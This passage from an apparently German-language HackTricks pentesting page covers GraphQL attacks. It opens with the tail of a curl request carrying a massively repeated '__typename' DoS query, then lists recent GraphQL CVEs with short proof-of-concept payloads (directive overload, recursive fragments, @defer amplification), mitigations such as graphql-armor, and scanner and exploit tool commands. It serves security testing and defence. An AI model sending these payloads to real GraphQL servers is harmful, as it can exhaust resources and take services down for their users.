\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Aktuelle Schwachstellen (2023–2025)
Das GraphQL-Ökosystem entwickelt sich sehr schnell; in den letzten zwei Jahren wurden in den am weitesten verbreiteten Serverbibliotheken mehrere kritische Probleme offengelegt. Wenn du einen GraphQL-Endpunkt findest, lohnt es sich daher, ein fingerprinting der Engine durchzuführen (siehe graphw00f) und die laufende Version gegen die untenstehenden Schwachstellen zu prüfen.
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- Betroffen: async-graphql < 7.0.10 (Rust)
- Ursache: keine Begrenzung für duplizierte Direktiven (z. B. Tausende von
@include), die in eine exponentielle Anzahl von Ausführungsknoten erweitert werden. - Auswirkung: Eine einzelne HTTP-Anfrage kann CPU/RAM erschöpfen und den Dienst zum Absturz bringen.
- Behebung/Minderung: auf ≥ 7.0.10 upgraden oder
SchemaBuilder.limit_directives()aufrufen; alternativ Anfragen mit einer WAF-Regel wie"@include.*@include.*@include"filtern.
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF Tiefe/Komplexität bypass
- Betroffen: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Ursache: ExecutableNormalizedFields wurden von der
MaxQueryDepth/MaxQueryComplexity-Instrumentation nicht berücksichtigt. Rekursive Fragmente umgingen daher alle Limits. - Auswirkung: unauthenticated DoS gegen Java-Stacks, die graphql-java einbetten (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- Betroffen: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- Root cause: die
createMediaItemmutation akzeptierte vom Angreifer kontrolliertefilePathURLs, was Zugriff auf interne Netzwerke und Datei-Schreibzugriffe ermöglichte. - Impact: authentifizierte Editors/Authors konnten auf Metadata-Endpunkte zugreifen oder PHP-Dateien schreiben, um remote code execution zu erreichen.
Missbrauch von Incremental Delivery: @defer / @stream
Seit 2023 implementieren die meisten großen Server (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die von der GraphQL-over-HTTP WG definierten incremental delivery-Direktiven. Jeder deferred Patch wird als separate chunk gesendet, sodass die Gesamtantwortgröße zu N + 1 (envelope + patches) wird. Eine Query, die tausende winziger deferred Felder enthält, erzeugt damit eine große Antwort, während dem Angreifer nur eine einzige Anfrage kostet – ein klassisches amplification DoS und ein Weg, body-size WAF-Regeln zu umgehen, die nur den ersten Chunk inspizieren. Mitglieder der WG haben das Risiko selbst hervorgehoben.
Beispiel-Payload, die 2.000 Patches erzeugt:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Gegenmaßnahme: disable @defer/@stream in production or enforce max_patches, cumulative max_bytes and execution time. Libraries like graphql-armor (see below) already enforce sensible defaults.
Defensive Middleware (2024+)
| Projekt | Hinweise |
|---|---|
| graphql-armor | Validierungs-Middleware für Node/TypeScript, veröffentlicht von Escape Tech. Implementiert Plug-and-play-Grenzen für Abfragetiefe, Anzahl von Aliasen/Feldern/Directives, Tokens und Kosten; kompatibel mit Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
Schnellstart:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor wird nun übermäßig tiefe, komplexe oder viele Directives enthaltende Queries blockieren und schützt damit vor den oben genannten CVEs.
Werkzeuge
Schwachstellen-Scanner
- https://github.com/dolevf/graphql-cop: Testet häufige Fehlkonfigurationen von graphql-Endpunkten
- https://github.com/assetnote/batchql: Script für GraphQL-Sicherheitsaudits mit Fokus auf das Durchführen von Batch-GraphQL-Queries und Mutations.
- https://github.com/dolevf/graphw00f: Ermittelt ein Fingerprint des verwendeten graphql
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit zum Abrufen von Schemas und Durchsuchen nach sensitiven Daten, Testen von Autorisierung, Brute-Forcen von Schemas und Finden von Pfaden zu einem gegebenen Typ.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Kann standalone oder als Burp extension verwendet werden.
- https://github.com/swisskyrepo/GraphQLmap: Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Tool, das die verschiedenen Wege zum Erreichen eines bestimmten Typs in einem GraphQL-Schema auflistet.
- https://github.com/doyensec/GQLSpection: Der Nachfolger der Standalone- und CLI-Modi von InQL
- https://github.com/doyensec/inql: Burp extension oder Python-Script für erweitertes GraphQL-Testing. Der Scanner ist das Kernstück von InQL v5.0, mit dem du einen GraphQL-Endpunkt oder eine lokale Introspection-Schema-Datei analysieren kannst. Er generiert automatisch alle möglichen Queries und Mutations und organisiert sie in einer strukturierten Ansicht für deine Analyse. Die Attacker-Komponente ermöglicht das Ausführen von Batch-GraphQL-Angriffen, was nützlich sein kann, um schlecht implementierte Rate-Limits zu umgehen:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: Versucht, das Schema auch bei deaktivierter Introspection zu erhalten, indem es Graphql-Datenbanken nutzt, die Namen von Mutations und Parametern vorschlagen.
Skripte zum Ausnutzen häufiger Schwachstellen
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Sammlung von Skripten zum Ausnutzen von Denial-of-Service-Schwachstellen in verwundbaren graphql-Umgebungen.
Clients
- https://github.com/graphql/graphiql: GUI-Client
- https://altair.sirmuel.design/: GUI-Client
Automatisierte Tests
https://graphql-dashboard.herokuapp.com/
- Video, das AutoGraphQL erklärt: https://www.youtube.com/watch?v=JJmufWfVvyU
Referenzen
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

